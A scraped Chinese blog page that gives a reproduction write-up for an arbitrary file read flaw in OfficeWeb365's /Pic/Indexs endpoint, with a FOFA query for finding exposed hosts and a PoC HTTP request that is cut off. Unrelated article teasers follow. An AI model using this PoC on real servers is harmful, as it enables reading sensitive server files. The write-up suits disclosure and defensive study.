OfficeWeb365 Indexs 任意文件读取漏洞复现
0x01 产品简介
OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。
0x02 漏洞概述
OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。
0x03 复现环境
FOFA：body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
0x04 漏洞复现
PoC
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchan相关文章：
OfficeWeb365 Indexs 任意文件读取漏洞复现
0x01 产品简介 OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。 0x02 漏洞概述 OfficeWeb365 /Pi…...
Crypto的简单应用-前后端加密传输
最近遇到一个数据脱敏处理的需求，想要用一种轻量级的技术实现，必须足够简单并且适用于所有场合如前后端加密传输、路由加密、数据脱敏等。抽时间研究了一下Crypto加密库的一些API，发现完全符合上述需求，扩展也比较容易。 1、前端加…...
Vue3-32-路由-重定向路由
什么是重定向 路由的重定向 ：将匹配到的路由 【替换】 为另一个路由。 redirect : 重定向的关键字。 重定向的特点 1、重定向是路由的直接替换,路由的地址是直接改变的； 2、在没有子路由配置的情况下，重定向的路由可以省略 component 属性的配…...
如何用js动态修改字体大小
在项目中，我们常常会遇到使用v-html渲染文本的情况。 如果需要点击大中小三个字号按钮，需要修改字体的大小。那我们应该怎么做呢 function fontSize(element, type) {let size {big: 22,middle: 16,small: 12};var result element.innerHTML.replac…...
【BIG_FG_CSDN】C++ 数组与指针 （个人向——学习笔记）
一维数组 在内存占用连续存储单元的相同类型数据序列的存储。 数组是静态存储器的块；在编译时确定大小后才能使用； 其声明格式如下： 元素类型 数组名[常量]；元素类型：数组中元素的数据类型； 常量&#…...
桌面天气预报软件 Weather Widget free mac特点介绍
Weather Widget free for Mac多种吸引人的小部件设计可供选择，可以随时了解天气！还可以在Dock和菜单栏中为您提供简短的天气预报或当前状况的概述。 Weather Widget free for Mac软件介绍 始终在桌面上使用时尚的天气小部件来随时了解天气！多…...
HarmonyOS应用开发-搭建开发环境
本文介绍如何搭建 HarmonyOS 应用的开发环境，介绍下载安装 DevEco Studio 开发工具和 SDK 的详细流程。华为鸿蒙 DevEco Studio 是面向全场景的一站式集成开发环境，面向全场景多设备，提供一站式的分布式应用开发平台，支持分布式多…...
＜JavaEE＞ TCP 的通信机制（五） -- 延时应答、捎带应答、面向字节流
目录 TCP的通信机制的核心特性 七、延时应答 1）什么是延时应答？ 2）延时应答的作用 八、捎带应答 1）什么是捎带应答？ 2）捎带应答的作用 九、面向字节流 1）沾包问题 2）“沾包…...
电脑怎么设置代理IP上网？如何隐藏自己电脑的真实IP？
在现代互联网中，代理IP已成为许多用户保护隐私和上网安全的重要手段。通过设置代理IP，用户可以隐藏自己的真实IP地址，提高上网的安全性，同时保护个人信息不被泄露。本文将详细介绍如何设置代理IP上网以及如何隐藏电脑的真实IP地址…...
Django信号机制源码分析（观察者模式）
Django信号的实现原理本质是设计模式中的观察者模式，浅谈Python设计模式 -- 观察者模式，也可以叫做发布-订阅模式，信号对象维护一个订阅者列表，当信号被触发时，它会遍历订阅者，依次通知它们。 先来回顾一下…...
MyBatis-config.xml配置文件
1、基本介绍： mybatis的核心配置文件(mybatis-config.xml)，比如配置jdbc连接信息，注册mapper等等，我们需要对这个配置文件有详细的了解。 官网地址有详细介绍 mybatis – MyBatis 3 | 配置 2、properties属性 在通常的情况下&am…...
【Spring实战】17 REST服务介绍
文章目录 1. 为什么出现2. 拥有哪些优势3. Spring中的应用4. spring-boot-starter-data-rest总结 REST（Representational State Transfer）是一种软件架构风格，通常用于设计网络应用程序的服务接口。RESTful 服务是基于 REST 原则构建的网络服…...
java struts2教务管理系统Myeclipse开发mysql数据库struts2结构java编程计算机网页项目
一、源码特点 java struts2 教务管理系统 是一套完善的web设计系统，对理解JSP java编程开发语言有帮助 struts2 框架开发，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境 为TOMCAT7.0,Myeclipse8.5开发，数据库…...
跟着cherno手搓游戏引擎【3】事件系统和预编译头文件
不多说了直接上代码，课程中的架构讲的比较宽泛，而且有些方法写完之后并未测试。所以先把代码写完。理解其原理，未来使用时候会再此完善此博客。 文件架构： Event.h:核心基类 #pragma once #include"../Core.h" #inclu…...
排序算法之快速排序
快速排序是一种高效的排序算法，它的基本思想是采用分治策略，将一个无序数组分割成两个子数组，分别对子数组进行排序，然后将两个排序好的子数组合并成一个有序数组。快速排序的性能优于归并排序，尤其在处理大规模数据时…...
Docker 从入门到实践：Docker介绍
前言 在当今的软件开发和部署领域，Docker已经成为了一个不可或缺的工具。Docker以其轻量级、可移植性和标准化等特点，使得应用程序的部署和管理变得前所未有的简单。无论您是一名开发者、系统管理员，还是IT架构师，理解并掌握Dock…...
用IDEA创建/同步到gitee（码云）远程仓库（保姆级详细）
前言： 笔者最近在学习java，最开始在用很笨的方法：先克隆远程仓库到本地，再把自己练习的代码从本地仓库上传到远程仓库，很是繁琐。后发现可以IDEA只需要做些操作可以直接把代码上传到远程仓库，也在网上搜了些…...
【Linux】进程控制深度了解
> 作者简介：დ旧言~，目前大二，现在学习Java，c，c，Python等 > 座右铭：松树千年终是朽，槿花一日自为荣。 > 目标：熟练掌握Linux下的进程控制 > 毒鸡汤ÿ…...
kbdnso.dll文件缺失，软件或游戏报错的快速修复方法
很多小伙伴遇到电脑报错，提示“kbdnso.dll文件缺失，程序无法启动执行”时，不知道应该怎样处理，还以为是程序出现了问题，想卸载重装。 首先，先要了解“kbdnso.dll文件”是什么？ kbdnso.dll是Win…...
Spring技术内幕笔记之IOC的实现
IOC容器的实现 依赖反转： 依赖对象的获得被反转了，于是依赖反转更名为：依赖注入。许多应用都是由两个或者多个类通过彼此的合作来实现业务逻辑的，这使得每个对象都需要与其合作的对象的引用，如果这个获取过程需要自身…...
kotlin foreach 循环
java中的foreach循环也使用于kotlin ，先回顾下java里面的foreach循环 java foreach循环格式 for(元素类型t 元素变量x : 遍历对象obj){引用了x的语句;} 例如： int[] intary {1,2,3,4};for (int a: intary) {Log.d("intary", String.value…...
分享相关知识
直接使用海龟图进行创作移动动态的游戏 这段代码是一个简单的turtle模块实现的小游戏，主要功能包括： 窗口和无人机初始化： 创建了一个turtle窗口，设置了窗口的背景颜色和标题。创建了一个表示无人机的turtle，形状为正…...
RabbitMQ（七）ACK 消息确认机制
目录 一、简介1.1 背景1.2 定义1.3 如何查看确认/未确认的消息数？ 二、消息确认机制的分类2.1 消息发送确认1）ConfirmCallback方法2）ReturnCallback方法3）代码实现方式一：统一配置a.配置类a.生产者c.消费者d.测试结果 …...
ubuntu 编译内核报错
Ubuntu 编译 Linux 内核经常会遇到如下错误： 如果报错 canonical-certs.pem： 如下： make[1]: *** No rule to make target ‘debian/canonical-certs.pem’, needed by ‘certs/x509_certificate_list’. Stop. make: *** [Makefile:1868: …...
Python之自然语言处理库snowNLP
一、介绍 SnowNLP是一个python写的类库，可以方便的处理中文文本内容，是受到了TextBlob的启发而写的，由于现在大部分的自然语言处理库基本都是针对英文的，于是写了一个方便处理中文的类库，并且和TextBlob不同的是&…...
C# 语法进阶 委托
1.委托 委托是一个引用类型，其实他是一个类，保存方法的指针 （指针：保存一个变量的地址）他指向一个方法，当我们调用委托的时候这个方法就立即被执行 关键字：delegate 运行结果： 思…...
开源可观测性平台Signoz（四）【链路监控及数据库中间件监控篇】
转载说明：如果您喜欢这篇文章并打算转载它，请私信作者取得授权。感谢您喜爱本文，请文明转载，谢谢。 前文链接： 开源可观测性平台Signoz系列（一）【开篇】 开源可观测性平台Signoz&…...
【嵌入式开发 Linux 常用命令系列 4.2 -- git .gitignore 使用详细介绍】
文章目录 .gitignore 使用详细介绍.gitignore 文件的位置.gitignore 语法规则使用示例注意事项 .gitignore 使用详细介绍 .gitignore 文件是一个特殊的文本文件，它告诉 Git 哪些文件或目录是可以被忽略的，即不应该被纳入版本控制系统。这主要用于避免一…...
【熔断限流组件resilience4j和hystrix】
文章目录 🔊博主介绍🥤本文内容起因resilience4j落地实现pom.xml依赖application.yml配置接口使用 hystrix 落地实现pom.xml依赖启动类上添加注解接口上使用 📢文章总结📥博主目标 🔊博主介绍 🌟我是廖志伟…...
微服务雪崩问题及解决方案
雪崩问题 微服务中，服务间调用关系错综复杂，一个微服务往往依赖于多个其它微服务。 微服务之间相互调用，因为调用链中的一个服务故障，引起整个链路都无法访问的情况。 如果服务提供者A发生了故障，当前的应用的部分业务…...
做年报的网站/搜索引擎推广是什么意思
Linux命令--du 目录 一、用途 二、命令格式： 三、命令参数 四、实例 一、用途 Linux du命令是查看当前指定文件或目录(会递归显示子目录)占用磁盘空间大小 二、命令格式： du [选项][文件] 三、命令参数 -a或-all 显示目录中个别文件的大小。…...
广州网站优化公司咨询/电脑版百度网盘
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 原文 | Daniel Roth 翻译 | 郑子铭 .NET 7 预览版 1 现已推出！这是 .NET 下一个主要版本的第一个预览版&#…...
微信小程序怎么做网站/宁德市住房和城乡建设局
2019独角兽企业重金招聘Python工程师标准>>> 首先了解一下CGContextRef: An opaque type that represents a Quartz 2D drawing environment. Graphics Context是图形上下文,可以将其理解为一块画布,我们可以在上面进行绘画操作,绘制完成后,将画布放到我们的view中显…...
做网站不知道做什么内容的/站长工具seo综合查询官网
人工智能学习路径 第一章 全网最详细的Python入门思维导图，果断收藏 第二章 Python桌面应用开发（PyQT）入门思维导图，果断收藏 第三章 Python数据分析（Numpy和Pandas学习）入门思维导图，果断收藏 文章目录 人工智能学习路径第1张图--Python概述与基础语法第2张图--Python…...
做赌博网站赚/去了外包简历就毁了吗
var foo{rzx:1} var bar foo; foo.xfoo{rzx:100} console.log(foo.x) console.log(bar.x) 有这样一个热门问题： var a {n: 1}; var b a; a.x a {n: 2}; alert(a.x); // --> undefined alert(b.x); // --> {n: 2} 其实这个问题很好理解，关键要弄…...
武汉网站设计推荐刻/深圳百度网站排名优化
1. rand函数rand() 函数可以不加任何参数，就可以生成随机整数。如果要设置随机数范围，可以在函数中设置 min 和 max 的值。如果需要生成随机数的种子，使用 srand 函数配置。echo rand(); // 生成 0~RAND_MAX 之间的随机数，Windows…...